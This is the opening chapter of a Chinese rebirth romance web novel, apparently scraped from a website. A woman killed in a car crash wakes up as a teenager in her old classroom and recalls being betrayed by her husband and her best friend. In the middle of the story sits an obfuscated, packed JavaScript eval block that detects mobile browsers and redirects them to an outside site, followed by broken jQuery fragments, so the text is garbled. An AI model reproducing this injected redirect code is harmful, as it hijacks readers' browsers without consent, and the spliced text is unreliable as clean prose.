1. 第 1 章

作品:《渣了高冷校草以后

    展新月醒来时,周围一片漆黑,只有前方不远处一点亮光明明灭灭。


    她感觉到自己正伏在一张很硬的桌上,头很重,头顶的神经一跳一跳地痛。缓了好一会,她才勉强支起下巴,抬眼看向前方。


    在黑暗中待了太久,她一时什么也看不清楚,只能模糊地感觉到前方大概是块荧幕。半晌,她才意识到那是块投影仪,这会正放着部很老的外国电影,英文的念白静静流淌着。


    这是……什么地方?


    眼睛渐渐适应了黑暗,她终于看清了周遭的环境。她正在一间教室里,没开灯,投影仪的光映出一道道背对着她的身影,看着身形都很稚嫩。


    展新月困惑地偏过头,光影微微照亮了身旁人的侧脸。


    她身边坐着个男生,正凝眸安静地看着前方的荧幕。他高挺的鼻梁下,清晰流畅的下颌线延伸进衣领,构成一道好看的弧线。即使此时半隐在黑暗中,也不难看出这是极惊艳的一张脸。


    展新月被牵住了视线,愣愣地盯着他看,心头浮现出莫名的熟悉感。


    男生恰似心有所感,垂眸向她看来。


    视线相触。


    他五官轮廓清晰,眼睫极黑,眉眼深邃。光影明灭交错里,那双透亮的眸子里此时映了银幕里的光,好似敛了水波,一瞬间摄住了她的心魄。


    心跳似乎短暂地漏了半拍。


    所有人的注意力都在前方的亮着的银幕上,光线暗处,只有两人的视线隐秘地交织。


    他始终没有开口,也没有移开视线。两人就这么静静注视着彼此,时间仿若凝结。


    是时子骞啊。


    展新月轻笑一声,别开了目光。竟梦见了他。


    多年不见,她居然还能认得出他。不过也不奇怪,毕竟这么多年里,回想她所认识过的男生中,外貌骨相能优越至此的也就他一个罢了。


    她放松了些,重新趴回胳膊上。教室里静悄悄的,只有前方荧幕里传出的英文台词静静在这一小方天地流淌。


    梦里不知身是客,一晌贪欢。


    已经很多年不做这样的梦了,只是今日不知怎的,她竟然又梦回学生时代。那些年英语老师偶尔会在晚课上给大家放些电影来看,虽然频率不高,但也足够大家高兴上一阵子了。都说梦能反映人内心最深处的念想,看来已离开校园多年,那段时光依然静静沉在她的记忆深处,从未消散。


    今日这场梦出奇的真实,展新月静静地观察着教室里那一个个熟悉的身影,大家都看得很专注,偶尔有人低低地交头接耳,一切都那么鲜活,那么沉静,那么的……值得想念。


    她伏了一会,偏过头视线又一次落向身旁。身侧的男生坐得端正,腰背挺拔如青竹,身形高挑,带着少年独有的瘦削。此时他的目光已重新投向前方,眉目间淡淡疏离,仿佛刚刚的视线交融不过是一场幻觉。


    时子骞,她高中时的同桌。


    高中时,时子骞性格冷淡,再加上家境优越,班上少有人敢接近他。自己虽然和他短暂地坐过一学期多的同桌,却也算不上熟悉,毕业之后更是再也没有了交集。自高中一别十数年,没想到她竟还能在梦里如此清晰地回忆起时子骞少年时的样子。


    她觉得奇怪,却无心细想。


    她的头依然很痛,只贪恋这梦中的片刻宁静,希望这场梦能长一些,再长一些。


    然而,世事向来事与愿违。


    “砰砰砰——”


    剧烈的敲门声响起,一声更比一声大。而后,伴随着“吱呀”的声响,一道刺眼的白光突兀亮起,刺得她下意识地伸手遮了一遮。


    这宁静的梦境,到了谢幕的时候了。


    她挡着眼睛,静静等待着从梦境中醒来。


    不远处,却又惊雷似的传来一道中年男人的声音。声如洪钟,中气十足。


    “又在干什么,窗帘拉这么严实,还不开灯,我当你们班没人呢!”停顿片刻,声音蓦然转高,“说了不准晚自习看电影,怎么还在放?”


    年轻的女声跟着响起,支支吾吾的:“我想着给他们练练听力……放的都是英文片……”


    “别找这些借口,考试考这些吗?名义上是练听力,其实就是偷偷放松!我一路走过来整个高中部都在好好上自习,就你们班搞特殊化。这怎么还有人把凳子搬这么前面?这是教室,不是菜市场!你们怎么不上讲台上看呢?都给我回自己位置上去!投影仪也赶紧给我关了!”


    女老师不敢再辩驳:“好的……王主任。”


    电影音效戛然而止,投影仪的幕布发出缓慢上升的器械音,接着便是一片拖动椅子的嘈杂声,伴随着嘟嘟囔囔的低声抱怨:“老方疯了吧,这也要管……”


    展新月遮在眼前的手慢慢放下。


    眼前,是一道道不情不愿拉着椅子的身影,都穿着熟悉青白色校服,身形尚且稚嫩,脸上带着如出一辙沮丧的神情。他们中很多人她已多年未见,面孔早已在在记忆中模糊,此刻却重新归于清晰。


    讲台上,英语老师许颖低头收拾着笔记本电脑。一侧的教室门口,王安国仍抱着胸站着,那张近乎方形的脸上一脸怒色,眉头紧紧拧着。


    因为脸方,加上身高体重无限趋近于正方形,高中时的教导主任王安国被大家戏称为老方。


    她怔怔地看了好一会,又转头看向身侧,身旁的男生看不出情绪,对教室里正发生的事似乎毫不关心,此时垂下眼,淡漠地翻动桌上的书页。


    两人距离很近,她能看清他垂眼时,纤长的睫毛在眼睑上投下的一小片阴影和鼻梁上那颗若有若无的小痣。


    怎么会有这么真实的梦。这到底怎么回事?


    难道说——


    脑袋突然一阵尖锐的疼痛。那些痛彻心扉的记忆一齐涌进她的脑中。


    红色,漫天的红色将她包裹。那是她的血。记忆里无穷无尽的血模糊了她的双眼,她什么也看不清楚,只能感觉到浑身没有一处不痛,身体里的热量在一点一点散去,耳畔急切的呼喊声也正慢慢远去。


    记忆的最后,她只记得一双漆黑的眼睛焦急地注视着她。


    车祸前的一幕幕飞快在脑海中浮现。原来,自己死了吗?


    何其荒谬,自己竟然死于那么荒谬的理由。而更荒谬的是,自己现在似乎是……


    她低头看向自己的手,两只手纤细干净,没有戴戒指。


    她又试探地合上面前桌子上的课本,扉页有她清晰的笔迹:高二10班展新月。


    胸腔中,心脏忽然剧烈地跳动起来。


    她……重生了?


    “许慎……许慎呢?!”她喃喃念叨着,突然噌地站了起来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627769|172460||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    身下的椅子因为她突如其来的动作,发出一串刺耳的声响。


    然而教室中喧闹未散,并没有太多人注意到她这突兀的举动,但更没有人给予她半分回应。


    展新月定了定神,扶着桌子,在教室里环顾一圈。


    她没能看到那个人的身影。


    这又是为什么?她失魂落魄地坐下。高中时许慎明明和她在一个班,如果她真的重生了,许慎又为什么不在?


    她伸手摁住太阳穴,强迫自己镇定下来,但一颗心纷乱如麻,太阳穴传来的痛意也愈发剧烈。


    “好了,都坐好了,现在开始所有人都认真自习。你们班我记下了,等会我还要过来检查,别让我再抓到一次还有人在干无关的事情。”老方对着教室里又警告了一次,终于背着手走了。


    展新月看着他的背影发呆,耳边突然传来几乎轻不可闻的声音。


    “许……慎?”时子骞似是自言自语般,低声重复了一遍这个名字。


    “对!”展新月听清了,她好似抓住了救命稻草,蹭地转过头看向时子骞,问道:“许慎在哪?”


    面前的男生点漆似的眸子微微凝住,没有说话。


    展新月又问了一遍:“许慎在哪?”


    时子骞似乎在思考,半晌才说:“我没听说过这个名字。”


    “没听说过?怎么会……”她盯着他,喃喃道,“咱们一个班的……”


    哦,是了。


    她突然想起了,这会还是高二,那个人应该还未转班过来。她和那个人之间一切的故事都还未发生。


    那个人,许慎,她曾经的爱人。她的丈夫。


    正恍神间,一颗小纸团从右侧飞来,落在她桌上滚了几圈,最后挨着她的手背停了下来。


    她看了几秒,捻起那团皱巴巴的东西,一点点展开。纸条里是小学生样的几个大字,横平竖直的。


    下课去小超市吗?


    脑子钝钝的,好长时间她才意识到这是别人传给她的纸条。高中时期手机被严令禁止,但大家仍会在课上用小纸条不安分地偷偷传递消息。


    她顺着纸团丢来的方向望去,谢宛之正一脸期待地望着她。这个年纪的谢宛之瘦的有些单薄,留着略长的齐刘海,一张瓜子脸还带着丝未褪去的婴儿肥,是典型的邻家女孩长相,不算特别漂亮,但很招人亲近。


    见她看来,谢宛之用手在嘴边比了个喇叭,用口型重复着:“去——不——去——超市——”


    去不去超市啊。


    学校后操场附近有个小超市,虽然离得远,但足够吸引这些娱乐生活极度匮乏的高中生在课间一趟趟往返。


    她定定地盯着谢宛之,没做回应。那张纸条被她慢慢重新揉成一团覆在掌下,力道之大,几乎要被她碾碎。


    “喂,到底去不去啊?”见她没反应,谢宛之又比着口型问。


    谢宛之曾是她学生时代最亲密的朋友。两个人曾不知道多少次手挽着手趁着课间往返小超,也不知多少次在操场边的长椅上并肩而坐,交换着少女最隐秘的心事。


    多可笑啊。


    在谢宛之疑惑的眼神中,她忽然笑了起来,笑得几乎挤出了眼泪。


    丈夫。闺蜜。


    她不笑任何人,只笑自己。可笑自己三十几年的人生,竟然活成了一个笑话。